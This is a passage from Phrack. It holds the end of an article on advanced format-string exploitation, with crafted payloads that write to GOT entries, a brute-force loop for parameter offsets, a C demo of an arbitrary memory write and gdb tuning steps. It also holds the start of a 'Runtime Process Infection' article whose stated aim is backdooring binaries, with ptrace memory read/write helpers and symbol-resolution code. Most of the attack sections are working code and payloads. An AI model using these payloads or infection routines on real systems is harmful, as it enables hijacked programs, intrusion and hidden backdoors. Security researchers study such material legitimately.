    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // write 0x5678 to 0x8049094
    "%hn"                       // write 0x5678 to 0x8049098
    "%hn"                       // write 0x5678 to 0x804909c
    "%hn"                       // write 0x5678 to 0x80490a0
    "%hn"                       // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096
    "%hn"                       // write 0x1234 to 0x804909a
    "%hn"                       // write 0x1234 to 0x804909e
    "%hn"                       // write 0x1234 to 0x80490a2
    "%hn"                       // write 0x1234 to 0x80490a6
```

Or the equivalent using direct parameter access.

```
    "\x94\x90\x04\x08"          // addresses where to write 0x5678
    "\x98\x90\x04\x08"          //
    "\x9c\x90\x04\x08"          //
    "\xa0\x90\x04\x08"          //
    "\xa4\x90\x04\x08"          //
    "\x96\x90\x04\x08"          // addresses for 0x1234
    "\x9a\x90\x04\x08"          //
    "\x9e\x90\x04\x08"          //
    "\xa2\x90\x04\x08"          //
    "\xa6\x90\x04\x08"          //
    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // write 0x5678 to 0x8049094
    "%9$hn"                     // write 0x5678 to 0x8049098
    "%10$hn"                    // write 0x5678 to 0x804909c
    "%11$hn"                    // write 0x5678 to 0x80490a0
    "%12$hn"                    // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // write 0x1234 to 0x8049096
    "%14$hn"                    // write 0x1234 to 0x804909a
    "%15$hn"                    // write 0x1234 to 0x804909e
    "%16$hn"                    // write 0x1234 to 0x80490a2
    "%17$hn"                    // write 0x1234 to 0x80490a6
```

In this example, the number of "function pointers" to write at the same time was set arbitrary to 5, but it could have been another number. The real limit depends on the length of the string you can supply, how many arguments you need to pop to get to the addresses if you are not using direct parameter access, if there is a limit for direct parameters access (on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be other variations), etc.

If you are going to combine a jumpcode with multiple address overwrite, you need to have in mind that the jumpcode will not be just 4 bytes after the function pointer, but some more, depending on how many addresses you'll overwrite at once.

----[4.2. multiple parameter bruteforcing

Sometimes you don't know how many parameters you have to pop, or how many to skip with direct parameter access, and you need to try until you hit the right number. Sometimes it's possible to do it in a more inteligent way, specially when it's not a blind format string (did I say it already? go read scut's paper [1]!). But anyway, there may be cases when you don't know how many parameters to skip, and have to find it out trying, as in the next pythonish example:

```
    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08"        # GOT[free]'s address
      fstring += "\x96\x90\x04\x08"        #
      fstring += "\x98\x90\x04\x08"        # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+1)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 1
```

    In this example, the variable 'pops' is incremented while trying to hit the right number for direct parameter access. If we repeat the target addresses, we can build a format string which lets us increment 'pops' faster. For example, repeating each address 5 times we get a faster bruteforcing:

```
    pops = 8
    worked = 0
    while (not worked):
      fstring  = "\x94\x90\x04\x08" * 5    # GOT[free]'s address
      fstring += "\x96\x90\x04\x08" * 5    # repeat eddress 5 times
      fstring += "\x98\x90\x04\x08" * 5    # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+6)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+11)     # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 5
```

Hitting any of the 5 copies well be ok, the most copies you can put the better.

This is a simple idea, just repeat the addresses. If it's confusing, grab pen and paper and make some drawings, first draw a stack with the format string in it, and some random number of arguments on top of it, and then start doing the bruteforcing manually... it'll be fun! I guarantee it! :-)

It may look stupid but may help you some day, you never know... and of course the same could be done without direct parameter access, but it's a little more complicated as you have to recalculate the length for %.u format specifiers on every try.

--[unnamed and unlisted seccion

Through this text my only point was: a format string is more than a mere 4-bytes-write-anything-anywhere primitive, it's almost a full write-anything-anywhre primitive, which gives you more posibilities.

So far so good, the rest is up to you...

--[Part II - by riq

--[5. Exploiting heap based format strings

Usually the format strings lies on the stack. But there are cases where it is stored on the heap, and you CAN'T see it.

Here I present a way to deal with these format strings in a generic way within SPARC (and big-endian machines), and at the end we'll show you how to do the same for little-endian machines.

--[6. The SPARC stack

In the stack you will find stack frames. These stack frames have local variables, registers, pointers to previous stack frames, return addresses, etc.

Since with format strings we can see the stack, we are going to study it more carefully.

The stack frames in SPARC looks more or less like the following:

```
          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

And so on...

The fp register is a pointer to the caller frame pointer. As you may guess, 'fp' means frame pointer.

The temp_N are local variables that are saved in the stack. The frame 1 starts where the frame 0's local variables end, and the frame 2 starts, where the frame 1's local variables end, and so on.

All these frames are stored in the stack. So we can see all of these stack frames with our format strings.

--[7. the trick

The trick lies in the fact that every stack frame has a pointer to the previous stack frame. Furthermore, the more pointers to the stack we have, the better.

Why ? Because if we have a pointer to our own stack, we can overwrite the address that it points to with any value.

--[7.1. example 1

Suppose that we want to put the value 0x1234 in frame 1's l0. What we will try to do is to build a format string, whose length is 0x1234, by the time we've reached stack frame 0's fp with a %n.

Supposing that the first argument that we see is the frame 0's l0 register, we should have a format string like the following (in python):

```
  '%8x' * 8 +     # pop the 8 registers 'l'
  '%8x' * 5 +     # pop the first 5 'i' registers
  '%4640d'  +     # modify the length of my string (4640 is 0x1220) and...
  '%n'            # I write where fp is pointing (which is frame 1's l0)
```

So, after the format string has been executed, our stack should look like this:

```
          frame 0              frame 1
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

--[7.2. example 2

If we decided on a bigger number, like 0x20001234, we should find 2 pointers that point to the same address in the stack. It should be something like this:

```
          frame 0              frame 1
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]
```

[Note: We are not going to find always 2 pointers that point to the same address, though it is not rare.]

So, our format string should look like this:

```
  ’%8x’ * 8 +     # pop the 8 registers ’l’
  ’%8x’ * 5 +     # pop the first 5 registers ’i’
  ’%4640d’  +     # modify the length of my format string (4640 is 0x1220)
  ’%n’            # I write where fp is pointing (which is frame 1’s l0)
  ’%3530d’  +     # again, I modify the length of the format string
  ’%hn’           # and I write again, but only the hi part this time!
```

And we would get the following:

```
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]
```

--[7.3. example 3

In the case that we only have 1 pointer, we can get the same result by using the ’direct parameter access’ in the format string, with

%argument_number$, where 'argument_number' is a number between 0 and 30 (in Solaris).

My format string should be the following:

```
    '%4640d' +  # change the length
    '%15$n'  +  # I write where argument 15 is pointing (arg 15 is fp!)
    '%3530d' +  # change the length again
    '%15$hn'    # write again, but only the hi part!
```

Therefore, we would arrive at the same result:

```
          frame 0                  frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]
```

--[7.4. example 4

But it could well happen that I don't have 2 pointers that point to the same address in the stack, and the first address that points to the stack is outside the scope of the first 30 arguments. What could I then do ?

Remember that with plain '%n', you can write very large numbers, like 0x00028000 and higher. You should also keep in mind that the binary's PLT is usually located in very low addresses, like 0x0002????. So, with just one pointer that points to the stack, you can get a pointer that points to the binary's PLT.

I don't believe a graphic is necessary in this example.

--[8. builind the 4-bytes-write-anything-anywhere primitive

--[8.1. example 5

In order to get a 4-bytes-write-anything-anywhere primitive we should repeat what was done with the stack frame 0, and do it again for another stack frame, like frame 1. Our result should look something like the following:

```
      frame 0                  frame 1                  frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]
```

[Note: As long as the code we want to change is located in 0x00029e8c]

So, now that we have 2 pointers, one that points to 0x00029e8c and another that points to 0x00029e8e, we have finally achieved our goal! Now, we can exploit this situation just like any other format string vulnerability :)

The format string will look like this:

```
    '%4640d' +  # change the length
    '%15$n'  +  # with 'direct parameter access' I write the lower part
                # of frame 1's l0
    '%3530d' +  # change the length again
    '%15$hn' +  # overwrite the higher part
    '%9876d' +  # change the length
    '%18$hn' +  # And write like any format string exploit!


    '%8x' * 13+ # pop 13 arguments (from argument 15)
    '%6789d' +  # change length
    '%n'     +  # write lower part
    '%8x'    +  # pop
    '%1122d' +  # modify length
    '%hn'    +  # write higher part
    '%2211d' +  # modify length
    '%hn'       # And write, again, like any format string exploit.
```

As you can see, this was done with just one format string. But this is not always possible. If we can't build 2 pointers, what we need to do, is to abuse the format string twice.

First, we build a pointer that points to 0x00029e8c. Then, we overwrite the value that 0x00029e8c points to with '%hn'.

The second time in which we abuse of the format string, we do the same as we did before, but with a pointer to 0x00029e8e. There is no real need for two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part with %n and then the higher part with %hn will work, but you'll have to use the same pointer twice, only possible with direct parameter access.

--[9. the i386 stack

We can also, exploit a heap based format strings in the i386 arquitecture using a very similar technique. Lets see how the i386 stack works.

```
        frame 0        frame 1        frame 2        frame 3
       [  ebp  ] ---> [  ebp  ] ---> [  ebp  ] ---> [  ebp  ]
       [       ]      [       ]      [       ]      [       ]
       [       ]      [       ]      [       ]      [       ]
       [ ...   ]      [ ...   ]      [ ...   ]      [ ...   ]
```

As you can see, i386's stack is very similar to SPARC's, the main difference is that all the addresses are stored in little-endian format.

```
         frame0           frame1
        [ LSB | MSB ] ---> [ LSB | MSB ]
        [           ]      [           ]
```

So, the trick we were using in SPARC of overwriting address's LSB with '%n', and then overwriting its MSB with '%hn' with just one pointer won't work in this architecture.

We need an additional pointer, pointing to MSB's address, in order to change it. Something like this:

```
                    +-----------------------------+
                    |                             |
                    |                             V
       [LSB | MSB]  |   [LSB | MSB] ---> [LSB | MSB]
       [         ]  |   [         ]      [         ]
       [         ] -+   [         ]      [         ]
       [  ...    ]      [   ...   ]      [   ...   ]
         Frame B          Frame C          Frame D
```

Heh! as you probably guessed, this is not very common on everyday stacks, so, what we are going to do, is build the pointers we need, and then, of course, use them.

Warning! We just found out that this technique does not work on latest Linuxes, we are not even sure if works on any (it depends on libc/glibc version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris x86).

--[9.1. example 6

This trick will need an aditional frame... latter we'll try to get rid of as many frames as possible.

```
                                 +-----------------------------+
                                 |                             |
                                 |                             V
   [LSB | MSB] ---> [LSB | MSB] -+   [LSB | MSB] ---> [LSB | MSB]
   [         ]      [         ]      [         ]      [         ]
   [         ]      [         ]      [         ]      [         ]
   [  ...    ]      [  ...    ]      [   ...   ]      [   ...   ]
     Frame A          Frame B          Frame C          Frame D
```

Frame A has a pointer to Frame B. Specifically, it's pointing to Frame B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB of Frame D's ebp.

We are abusing the fact that ebp is already pointing to the stack, and we assume that changing its 2 LSB will be enough to make it point to another frame's saved ebp. There may be some problems with this (if Frame D is not on the same 64k "segment" of Frame C), but we'll get rid of this problem in the following examples.

So with 4 stack frames, we could build one pointer in the stack, and with that pointer we could write 2 bytes anywhere in memory. If we have 8 stack frames we could repeat the process and build 2 pointers in the stack, allowing us to write 4 bytes anywhere in memory.

--[9.2. example 7 - the pointer generator

There are cases where you don't have 8 (or 4) stack frames. What can we do then? Well, using direct parameter access, we could use just 3 stack frames to do everything, and not only a 4-bytes-write-anything-anywhere primitive but almost a full write-anything-anywhere primitive.

Lets see how we can do it, heavily abusing direct parameter access, our target? to build the address 0xdfbfddf0 in the stack, so we can use it latter with another %hn to write there.

step 1:

Frame B's saved frame pointer (saved ebp) is already pointing to Frame C's saved ebp, so, the first thing we are going to do is change Frame's C LSB:

```
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

Since we know where in the stack is Frame B, we could use direct parameter access to access parameters out of order... and probably not just once. Latter we'll see how to find the direct parameter access number we need, right now lets just assume Frame B's is 14.

```
                 # step 1
    '%.56816u' + # change the length (we want to write 0xddf0)
    '%14$hn'   + # Write where argument 14 is pointing
                 # (arg 14 is Frame B's ebp)
```

What we get is a modified Frame C's ebp.

step 2:

```
         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

As Frame A's ebp is already pointing to Frame B's ebp, we can use it to change the LSB of Frame B's ebp, and as it is already pointing to Frame C's ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the 64k segments problem this time, as Frame C's ebp's LSB must be in the same segment as its MSB, as it's always 4 bytes aligned... I know it's confusing...

For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's ebp to point to 0xdfbfdd6e, so we can write target address' MSB.

```
                # step 2
    '%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e-0xddf0)
    '%6$hn'   + # Write where argument 6 is pointing
                # (assuming arg 6 is Frame A's ebp)
```

step 3:

```
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

The new Frame B points to the MSB of the Frame C's ebp. And now, with another direct parameter access, we build the MSB of the address that we were looking for.

```
                # step 3
    '%.593u'  + # we want to write 0xdfbf (593 = 0xdfbf - 0xdd6e)
    '%14$n'   + # Write where argument 14 is pointing
                # (arg 14 is Frame B's ebp)
```

our result:

```
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| dfbf]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Frame A            Frame B            Frame C
```

As you can see, we have our pointer in Frame C's ebp, now we could use it to write 2 bytes anywhere in memory. This won't be enough normally to make an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES AGAIN, to build another pointer (and another, and another...)
Hey, we've found a pointer generator :-) with only 3 stack frames.

Got the theory? let's put all this together in an example.

The following code will use 3 frames (A,B,C) and multiple parameters access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was tested on an OpenBSD 3.0, and can be tried on other systems. We'll show you here how to tune it to your box.

```
  /* fs2.c                                                   *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by gera@corest.com */

  do_printf(char *msg) {
    printf(msg);
  }

  #define FrameC 0xdfbfdd6c
  #define counter(x)      ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a)

  char *write_two_bytes(
      unsigned long where,
      unsigned short what,
      int restoreFrameB)
  {
    static char buf[1000]={0};    // enough? sure! :)
    static int a,b=0;

    if (restoreFrameB)
      sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
    sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
    sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
    return buf;
  }

  int main() {
    char *buf;
    buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
    buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
    do_printf(buf);
  }
```

The values you'll need to change are:

```
    %6$         number of parameter for Frame A's ebp
    %14$        number of parameter for Frame B's ebp
    %29$        number of parameter for Frame C's ebp
    0xdfbfdd6c  address of Frame C's ebp
```

To get the right values:

```
gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "run until you get to the first call in do_printf"
(gdb) ni
1: x/i $eip  0x17a4 <do_printf+12>:     call   0x208c <_DYNAMIC+140>
(gdb) bt
#0  0x17a4 in do_printf ()
#1  0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8:     0x000020d4      0xdfbfdd70      0xdfbfdd00      0x0000195f
0xdfbfdd08:     0xdfbfddf2      0x0000aabb     [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18:     0x000020d4      0x0000ccdd      0x00000000   |  0x00001937
0xdfbfdd28:     0x00000000      0x00000000   +-[0xdfbfdd6c]<-+  0x0000109c
0xdfbfdd38:     0x00000001      0xdfbfdd74   |  0xdfbfdd7c      0x00002000
0xdfbfdd48:     0x0000002f      0x00000000   |  0x00000000      0xdfbfdff0
```

```
0xdfbfdd58:     0x00000000      0x0005a0c8   |  0x00000000      0x00000000
0xdfbfdd68:     0x00002000     [0x00000000]<-+  0x00000001      0xdfbfddd4
0xdfbfdd78:     0x00000000      0xdfbfddeb      0xdfbfde04      0xdfbfde0f
0xdfbfdd88:     0xdfbfde50      0xdfbfde66      0xdfbfde7e      0xdfbfde9e
```

Ok, time to start getting the right values. First, 0x1968 (from previous 'bt' command) is where do_printf() will return after finishing, locate it in the stack (in this example it's at 0xdfbfdd14). The previous word is where Frame A starts, and is where Frame A's ebp is saved, here it's 0xdfbfdd30.

Great! now we need the direct parameter access number for it, so, as we executed up to the call, the first word in the stack is the first argument for printf(), numbered 0. If you count, starting from 0, up to Frame A's ebp, you'll count 6 words, that's the number we want.

Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp, here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now Frame B's saved ebp is ponting to Frame C's ebp, so, we already have another value: 0xdfbfdd6c. And to get the last number needed, you need to count again, until you get to Frame C's ebp (count until you get to the address 0xdfbfdd6c), you should get 29.

Now edit your fs.c, compile it, gdb it, and run past the call (one more 'ni'), you should see a lot of zeros and then:

```
(gdb) x/x 0xdfbfddf0
0xdfbfddf0:     0xaabbccdd
```

Apparently it does work after all :-)

There are some interesting variants. In this example, printf() is not called from main(), but from do_printf(). This is an artifact so we had 3 frames to play with. If the printf() is directly in main(), you will not have three frames, but you could do just the same using argv and *argv, as the only real things you need are a pointer in the stack, pointing to another pointer in the stack pointing somewhere in the stack.

Another interesting method (probably even more interesting than the original), is to target not a function pointer but a return address in stack. This method will be a lot shorter (just 2 %hn per short to write, and only 2 frames needed), a lot of addresses could be bruteforced at the same time, and of course, you could use a jumpcode if you want.

This time We'll leave the experimentation with this two variantes (and others) to the reader.

It is noteworthy, that with this technique in i386, Frame B breaks the chain of the stack frames, so if the program you're exploiting needs to use Frame C, it's probably that it will segfault, hence you'll need to hook the execution flow before the crash.

--[10. conclusions

--[10.1. is it dangerous to overwrite the l0 (on the stack frame) ?

This is not perfect, but practice shows that you will not have many problems in changing the value of l0. But, would you be unlucky, you may prefer to modify the l0's that belongs to main()'s and _start()'s stack frames.

--[10.2. is it dangerous to overwrite the ebp (on the stack frame) ?

Yes, it's very dangerous. Probably your program will crash. But as we saw, you can restore the original ebp value using the pointer generator :-) And as in the SPARC case, you may prefer to modify the ebp's that belongs to the main(), _start(), etc, stack frames.

--[10.3. is this reliable ?

If you know the state of the stack, or if you know the sizes of the stack frames, it is reliable. Otherwise, unless the situation lets you implement some smooth way of bruteforcing all the numbers needed, this technique won't help you much.

I think when you have to overwrite values that are located in addresses that have zeros, this may be your only hope, since, you won't be able to put a zero in your format string (because it will truncate your string).

Also in SPARC, the binaries' PLT are located in low addresses and it is more reliable to overwrite the binary's PLT than the libc's PLT. Why is this so? Because, I would guess, in Solaris libc changes more frequently than the binary that you want to exploit. And probably, the binary you want to exploit will never change!

--[The End
--[11. more greets and thanks

gera:

riq, for trying every stupid idea I have and making it real!

juliano, for being our format strings guru.

Impact, for forcing me to spend time thinking about all theese amazing things.

last minute addition: I just learned of the existence of a library called fmtgen, Copyrighted by fish stiqz. It's a format string construction library, and it can be used (as suggested in its Readme), to write jumpcodes or even shellcodes as well as addresses. This are the last lines I'm adding to the article, I wish I had a little more time, to study it, but we are in a hurry, you know :-)

riq:

gera, for finding out how to exploit the heap based format strings in i386, for his ideas, suggestions and fixes.

juliano, for letting me know that I can overwrite, as may times as I want an address using 'direct access', and other tips about format strings.

javier, for helping me in SPARC.

bombi, for trying her best to correct my English.

and bruce, for correcting my English, too.

--[12. references

[1] Exploiting Format String Vulnerability, scut's.
March 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded
http://community.corest.com/~juliano

[4] Google the oracle.
http://www.google.com

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x08 of 0x12

```
|=---------------------=[ Runtime Process Infection ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ anonymous <p59_08@author.phrack.org> ]=--------------=|
```

--[Contents

--[1 - Introduction

The purpose of this article is to introduce a couple of methods for infecting binaries on runtime, and even though there are many other possible areas of use for this technique, we will mainly focus on a bit more evil things, such as backdooring binaries. However, this is not supposed to be ELF tutorial nor guide to linking. The reader is assumed to be somewhat familiar with ELF. Also, this article is strictly x86 linux specified, even though the same techniques and methods could be easily ported to other platforms as well.

--[2 - ptrace() - Linux debugging API

Linux offers one simple function for playing with processes, and it can do pretty much everything we need to do. We will not take a more indepth look at ptrace() here, since its quite simple and pretty much all we need to know can be found on the man page. However we will introduce a couple of helper functions to make working with ptrace() easier.

```
/* attach to pid */

        void
        ptrace_attach(int pid)
        {
                if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) {
                        perror("ptrace_attach");
                        exit(-1);
                }

                waitpid(pid , NULL , WUNTRACED);
        }


/* continue execution */

        void
        ptrace_cont(int pid)
        {
                if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) {
                        perror("ptrace_cont");
                        exit(-1);
                }
                while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);
        }


/* detach process */

        void
        ptrace_detach(int pid)
        {
                if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) {
                        perror("ptrace_detach");
                        exit(-1);
                }
        }

/* read data from location addr */

        void *
        read_data(int pid ,unsigned long addr ,void *vptr ,int len)
        {
                int i , count;
                long word;
                unsigned long *ptr = (unsigned long *) vptr;

                count = i = 0;

                while (count < len) {
                        word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \
NULL);
                        count += 4;
                        ptr[i++] = word;
                }
        }


/* write data to location addr */

        void
        write_data(int pid ,unsigned long addr ,void *vptr,int len)
        {
                int i , count;
                long word;

                i = count = 0;

                while (count < len) {
                        memcpy(&word , vptr+count , sizeof(word));
                        word = ptrace(PTRACE_POKETEXT, pid , \
                                addr+count , word);
                        count +=4;
                }
        }
```

--[3 - resolving symbols

As long as we are planning any kind of function intercepting/modifying, we need ways to locate some certain functions in the binary. For now we are gonna use link-map for that. link_map is dynamic linkers internal structure with which it keeps track of loaded libraries and symbols within libraries. Basicly link-map is a linked list, each item on list having a pointer to loaded library. Just like dynamic linker does when it needs to find symbol, we can travel this list back and forth, go through each library on the list to find our symbol. the link-map can be found on the second entry of GOT (global offset table) of each object file. It is no problem for us to read link-map node address from the GOT[1] and start following linkmap nodes until the symbol we wanted has been found.

from link.h:

```
        struct link_map
        {
            ElfW(Addr) l_addr;  /* Base address shared object is loaded */
            char *l_name;  /* Absolute file name object was found in.  */
            ElfW(Dyn) *l_ld;  /* Dynamic section of the shared object.  */
            struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/
        };
```

The structure is quite self-explaining, but here is a short explanation of all items anyway:

l_addr: Base address where shared object is loaded. This value can also be
        found from /proc/<pid>/maps

l_name: pointer to library name in string table

l_ld: pointer to dynamic (DT_*) sections of shared lib

l_next: pointer to next link_map node

l_prev: pointer to previous link_map node

The idea for symbol resolving with the link_map struct is simple. We traverse throu link_map list, comparing each l_name item until the library where our symbol is supposed to reside is found. Then we move to l_ld struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB have been found, and finally we can seek our symbol from DT_SYMTAB. This can be quite slow, but should be fine for our example. Using HASH table for symbol lookup would be faster and preferred, but that is left as exercise for the reader ;D.

Let's look at some of the functions making life more easy with the link_map. The below code is based on grugq's code on his ml post[1], altered to use ptrace() for resolving in another process address space:

```
/* locate link-map in pid's memory */

struct link_map *
locate_linkmap(int pid)
{
        Elf32_Ehdr      *ehdr   = malloc(sizeof(Elf32_Ehdr));
        Elf32_Phdr      *phdr   = malloc(sizeof(Elf32_Phdr));
        Elf32_Dyn       *dyn    = malloc(sizeof(Elf32_Dyn));
        Elf32_Word      got;
        struct link_map *l      = malloc(sizeof(struct link_map));
        unsigned long   phdr_addr , dyn_addr , map_addr;


        /* first we check from elf header, mapped at 0x08048000, the offset
         * to the program header table from where we try to locate
         * PT_DYNAMIC section.
         */

        read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));

        phdr_addr = 0x08048000 + ehdr->e_phoff;
        printf("program header at %p\n", phdr_addr);

        read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr));

        while ( phdr->p_type != PT_DYNAMIC ) {
                read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \
                        sizeof(Elf32_Phdr));
        }

        /* now go through dynamic section until we find address of the GOT
         */

        read_data(pid, phdr->p_vaddr, dyn, sizeof(Elf32_Dyn));
        dyn_addr = phdr->p_vaddr;

        while ( dyn->d_tag != DT_PLTGOT ) {
                read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\
                        sizeof(Elf32_Dyn));
        }

        got = (Elf32_Word) dyn->d_un.d_ptr;
        got += 4;               /* second GOT entry, remember? */

        /* now just read first link_map item and return it */
        read_data(pid, (unsigned long) got, &map_addr , 4);
        read_data(pid , map_addr, l , sizeof(struct link_map));

        free(phdr);
        free(ehdr);
        free(dyn);

        return l;
}

/* search locations of DT_SYMTAB and DT_STRTAB and save them into global
 * variables, also save the nchains from hash table.
 */


unsigned long   symtab;
unsigned long   strtab;
int             nchains;


void
resolv_tables(int pid , struct link_map *map)
{
        Elf32_Dyn       *dyn    = malloc(sizeof(Elf32_Dyn));
        unsigned long   addr;

        addr = (unsigned long) map->l_ld;

        read_data(pid , addr, dyn, sizeof(Elf32_Dyn));

        while ( dyn->d_tag ) {
                switch ( dyn->d_tag ) {

                        case DT_HASH:
                                read_data(pid,dyn->d_un.d_ptr +\
                                        map->l_addr+4,\
                                        &nchains , sizeof(nchains));
                                break;

                        case DT_STRTAB:
                                strtab = dyn->d_un.d_ptr;
                                break;

                        case DT_SYMTAB:
                                symtab = dyn->d_un.d_ptr;
                                break;

                        default:
                                break;
                }
                addr += sizeof(Elf32_Dyn);
                read_data(pid, addr , dyn , sizeof(Elf32_Dyn));
        }

        free(dyn);
}

